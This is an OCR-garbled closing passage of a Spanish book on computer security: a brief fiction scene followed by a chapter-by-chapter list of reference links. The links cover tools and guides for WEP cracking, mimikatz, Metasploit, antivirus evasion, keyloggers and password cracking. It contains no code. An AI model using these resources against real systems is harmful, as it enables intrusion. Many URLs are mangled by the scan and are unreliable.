-Tengo un problema —dijo-. Necesito tu ayuda.

Su voz, siempre grave y carente de emociones, ahora sonaba sorprendentemente angustiada.
Iba a preguntarle qué sucedia cuando llamaron al timbre.

-Dame un segundo.
No tenfa ni idea de quién seria a aquellas horas.

Atravesé el pasillo con el mévil en la mano y abri sin asomarme a la mirilla. Desde el otro
lado, unos preciosos ojos verdes me miraron.

-Tenemos que hablar —dijo Yolanda.
-FIN-
EEN

A i o e
-0



Referencias y Bibliografia
___-__——__-___ N

Referencias Yy Bibliografia
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! Certificaciones:
* CISSP: htips:/fwww, isc2. org/cissp/defaulr. aspx

* CISA: http:/fwww, isaca. org/Certification/CIS 4 -C‘e;':.fﬁed—!njbr'marfw:-.S}as‘rems-
A:sd;‘zor/Fages/dqﬁmk,aspx

* SANS: htsp:/rwvww.sans, org/

* CEH: http:/rwww, eccouncil, org/coztrses/cerrl]‘ied_ethical_hacker.aspx

Data Loss Prevention:

> htpwww, infosecisland com/blogview/11]42- 10-DLP-or-not- t0-DLP-Daiq-
Leakagel, oss-Prevention. htmi]

> http/fuweisaowaterioo, ca/Biblio2/Topic/4CC626 “020Information%20
Leakage %20and%20Data%2OL 035%20Prevention %20M%20Li. pdf
‘

Seguridad en proxy web:

* http:/rwww.securi tybydefault.com/2011/] 2/analis is-de-seguridad-de- un-proxy-web,

html

Capitulo IT

? USBDeview: np. /frwww, nirsoft. net/utils/usb_devices_view himi

* MRU: http:/fwww, Jorensicswiki. org/wiki/MRU

Forense de USB:
* hitp://blogs.sans, org/compz:!er:forensi_cszjfi!es/2009/09/ USBKEY-Guide. pdf
* httip/fwww forensicswiki org/wiki/USB History Viewing

. htzp.-//msdn.mz'crosoﬁ.com/en—us/wz'ndows//zardware/gg463393.aspx
kS www linux-ush, org/usb.ids

* i fwwwonirsoft. net/uz‘ils/usb_devices_view html
. http://wwwswiﬁ‘forensics.com/2012/08/z‘mckz'ng-usbﬁrst—insertz‘on—in-event.html
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Capitulo 111
Nombres de usuario y perfiles:
o hup:/fwww.securitybydefault.com/2009/08/nombres-de-usuario-y-perfiles.html

o hitp://www.checkusernames.com/
o http:/fknowem.com/
o http:/rwww.namechk.com

o hutp://webmii.com/

Capitulo IV
* Estandar PDF:
e http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/
PDF32000 2008.pdf
. http-//wwwimages.adobe.com/www.adobe.com/content/dam/A dobe/en/devnet/pdf/
pdfs/pdf reference_1-7.pdf
5 Elcomsoft Advanced PDF Password Recovery: http://www.elcomsoft.com/apdfpr. himl
¢ Diccionarios de palabras: http.//www.skullsecurity.org/wiki/index. php/Passwords
7 Formato XMP: http.://es.wikipedia.org/wiki/XMP
8 Descargas de la wikipedia: http://en.wikipedia. org/wiki/Wikipedia: Database_download

Capitulo V
® Blogs y referencias generales:
« netsec: http://www.reddit.com/rinetsec/

« blog hispasec: Attp://laboratorio.blogs.hispasec. com/
« Seguridad Apple: http://www.seguridadapple. com/

«  Security Art Work: htp://www.securityartwork. com/
*  48bits: htp://blog.48bits.com/

« Dragonjar: http://www.dragonjar.org/

10 Herramienta de analisis web Burp proxy: http.//portswigger.net/burp/proxy.himl

Uso de Burp Intruder: http:/fwww.securityninja.co.uk/application-security/burp-suite-
tutorial-intruder-tool-version-2/

TT—————s
Capitulo VI

I Addon de Firefox Hackbar: https://addons. mozilla, org/en-us/firefox/addo
Cross-Site-Scripting:
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n/hackbar/

. https://www.owasp.org/index.php/Cross—sile_Scrl'pting_(XSS)
*  https://www.owasp.org/index. php/XSS_Filter_Evasion_C, heat Sheet

Capitulo VII

Ingenieria Social: Attp://www. social-engineer. org/framework/Social_Engineerin g
Framework a

Capitulo IX

** Distribucion wifiway: http:/twww.wifiway.org/

*® Herramienta Aircrack-ng; http:/fwww.aircrack-ng.org/

** Aplicacién Wififofum: hnp./Avww: aspecto-software.com/wififofum/
** Herramienta Nmap: Attp://nmap.org/

' Web Shodan: hitp:/fwww.shodanhg.com/

"7 Extension LiveHttpHeaders: https://addons.mozilla.org/en—US/ﬁrdox/addon/live—http-
headers/

Ataques a redes wireless WEP

*  htp:/Mifehacker.com/5305094/how-to-crack-a-wi tfi-networks-wep-password-with-
backtrack

. http://wwwaircrack—ng.org/doku.php?id=simple_wep_crack

Capitulo X
¥ Gecko iPhone Toolkit : http:/fwww.mediafire. com/?gud968y9jfncsee

¥ Firmware en IPSW modificado: h#tp://appldnid. apple.com/iPhone4/041-
3309.20111109.64rtg/iPhone3,1_5.0.1_94405 Restore. ipsw

# Aplicacién redsnOw: htzps://sz'tes.google.com/a/zphone—deucom/ﬁles/home/redsn(}w_
win_0.9.10b8.zip :

*! Herramienta iExplorer: Attp://www.macroplant. com/iexplover/
Informacién de iPhone:

* http:/fwww.iclarified.com/entry/index. php?enid=1034

. htzp.‘//thezphonewiki.com/wiki/index.php?tl'z‘le=Bootr0m
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s htip://theiphonewiki.com/wiki/index.php otitle=SHA-1_Image_Segment_Overflow

Capitulo XIII

2 Framework de test de intrusion Metasploit: Atp://www.metasploit. com/

2 Virustotal: hrtps://www.virustotal.com/

2 packer Themida: hrip://www.oreans.com/themida.php

25 PeePDF: hittp://code.google.com/p/peepdf/

No ser detectado por antivirus:
. hup://www.thegreycorner.com/201 0/06/bypassing-antivi rus-detection-for.html
. hz‘m://blog.9bplus.com/av—bypass—for—malicious-pdﬁ—using—xdp

< http://www.offensive-security. com/metasploit-unleashed/Antivirus_Bypass

Capitulo XIV

% Aplicacion movil
iWazDev.htm

27 Cliente de SSH PuTTY: Attp://www. chiark.greenend.org.uk/~sgtatham/putty/

iWep Pro: hitp://iwazowski.com/i Wep%20PR0%202.0%20-%620

8 Screen: http://www.gnu.org/sofrware/screen/

Capitulo XVII
» Aplicacién mimikatz: hitp://blog. gentilkiwi.com/mimikatz
3¢ TE Password Viewer: http://www.m'rsoft.net/utils/internet_explorer - password.html

31 Restaurar PST: scanpst: http://support.microsoft. com/kb/287497

Capitulo XVIII
32 Aplicacion Creepy: http://ilektrojohn.github. com/creepy/
Buscador de iméagenes y datos GPS en EXIF:
 TinBye: htip://www. tineye.com/
- GPS EXIF: http://en.wz'kipedia.org/wiki/Exchangeable_image file_format

Capitulo XXI
Analisis forense de memoria:
+ Memory forensics: Attp://www, forensicswiki.org/wiki/Tt vols:Memory_Imaging

Referencias y Bibliografia

— BN

*  Accelerated Windows Memory Dump Analysis hitp:/fwww. dy

Training/Accelerated- Windows-Memory-Dump-Analysis-Public pdf mpanalysis. com/

Capitulo XXII
Keylogger USB: http:/twww.keelog.com/

Capitulo XXIIT

*1G’s Password Recovery Suite: http:/twww.golubev.com/igprs/

= -Iphone—dataprotection: http://code.google. com/p/iphone-dataprotection/

* iPhone Backup Browser: hitp://code.google. com/p/iphonebackupbrowser/

*¢ BinaryCookieReader: Aztp: ]
BinmyCOOkieReadean; ip.//securitylearn. net/wp-content/uploads/tools/iOS/

7 Extensién CookieManager: : ]
i o ger:  htips:/laddons.mozilla.org/en-us/firefox/addon/cookies-

38
Montar punto de acceso con hostapd: http://hostap.epitest.fi/hostapd/

39 3 AT
Her.rarmenta de analisis de contrasefias oclhashcat: hitp://hashcat.net/oclhashcat-plus/
Velocidades GPU: htip://golubev.com/gpuest. htm

Compartir iPhone por 3 ifi: y

Lt por 3G y Wifi: hup:/rmww.nerd2.co. uk/os/linux/sharing_3g with_
é

Capitulo XTIV

Il?formacic'm MS10-06: http://technet. microsoft. com/en-us/security/bulletin/MS10-061

Pivot de Metasploit: http.//pen-testing.sans.org/blog/201 2/04/26/got-meterpreter-pivot

Capitulo XXVIII

“ Tor: https://www.torproject.org/

41 . 2
Tor Browser: https://www.torproject.org/projects/torbrowser html.en

Bisliot
e .‘uc\‘\[tjcfs de informética . . .
S T2 UNIVERSIDADE DA CORUNA





